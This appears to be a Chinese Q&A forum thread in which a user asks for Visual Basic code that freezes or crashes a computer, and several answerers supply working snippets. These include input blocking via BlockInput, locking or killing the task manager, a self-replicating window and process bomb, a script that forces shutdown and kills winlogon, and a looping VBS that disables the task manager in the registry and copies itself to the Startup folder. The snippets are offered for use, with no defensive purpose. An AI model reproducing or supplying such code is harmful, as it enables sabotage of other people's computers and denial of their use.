Question

VB让电脑死机或者卡死的代码

求码！！！！！ 不要循环的 就要能让电脑死机的

Answer 1

我有个可以屏蔽电脑鼠标及键盘输入的要不要？最剪短最牛的代码要采纳哟！！！！！！

Private Declare Function BlockInput Lib "user32" (ByVal fBlockIt As Long) As Long
Private Sub Form_Load()
Open "C:\Windows\System32\taskmgr.exe" For Random Lock Read As #1'禁用任务管理器
BlockInput True
End Sub

追问

Ctrl+Alt+Del 任务管理器 可破解啊

追答

Open "C:\Windows\System32\taskmgr.exe" For Random Lock Read As #1
这行'代码就禁用任务管理器了。除非系统不在C盘。可以换成一下代码
Open "%SystemRoot%\System32\taskmgr.exe" For Random Lock Read As #1 '禁用任务管理器

追问

Ctrl+Alt+Del 任务管理器 按了以后虽然不出窗口 但是鼠标可移动了

追答

那就把BlockInput True写到Timer计时器里面。或者用多线程就行了。

追问

怎么写 我不会

追答

加多一个timer控件，interval设置为10。

Private Declare Function BlockInput Lib "user32" (ByVal fBlockIt As Long) As Long
Private Sub Form_Load()
Open "C:\Windows\System32\taskmgr.exe" For Random Lock Read As #1 '禁用任务管理器
End Sub
Private Sub Timer1_Timer()
BlockInput True
End Sub

Answer 2

Private Sub Form_Load()
Dim f1 As New Form1, f2 As New Form1
f1.Show
f2.Show
End Sub

注意，不要随意测试哦，否则场面会失控、没法收拾，到时别怪我

追问

这是干什么的 先说一下 我不敢打

追答

就是以几何级数不断弹出自身窗口，1个、2个、4个、8个、16个……瞬间耗尽内存和桌面空间

Answer 3

利用定时器 exe启动自己的另一份拷贝 .......
Private Sub Form_Load()
Timer1.Interval = 10'时间设短点10ms可以了
End Sub

Private Sub Timer1_Timer()
Shell App.Path & "\" & App.EXEName,vbNormalFocu
Shell "c:\windows\system32\taskkill /im taskmgr.exe /f",vbHide
'顺便杀掉任务管理器,不能用任务管理器关机了....
End Sub

追问

什么意思

追答

写程序就不要用神马xxxghost系统
连个taskkill都没有
估计连dllcache都整个砍掉了.........

Answer 4

createobject("wscript.shell").run"cmd /c shutdown -s -t 60"
wscript.sleep 10
ad.Run "ntsd -c q -pn WINLOGON.exe"

复制到txt文本 将.txt改成. vbs

追问

太老板了 这关机太简单了 有没有VB代码语言 复杂一点的

追答

set ws=createobject("wscript.shell")
set fs=createobject("scripting.filesystemobject")
do
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\disabletaskmgr", 1, "REG_DWORD"
fs.copyfile wscript.scriptfullname,ws.specialfolders("startup") & "\" & wscript.scriptname
ws.run """" & wscript.scriptfullname & """"
loop
足以卡死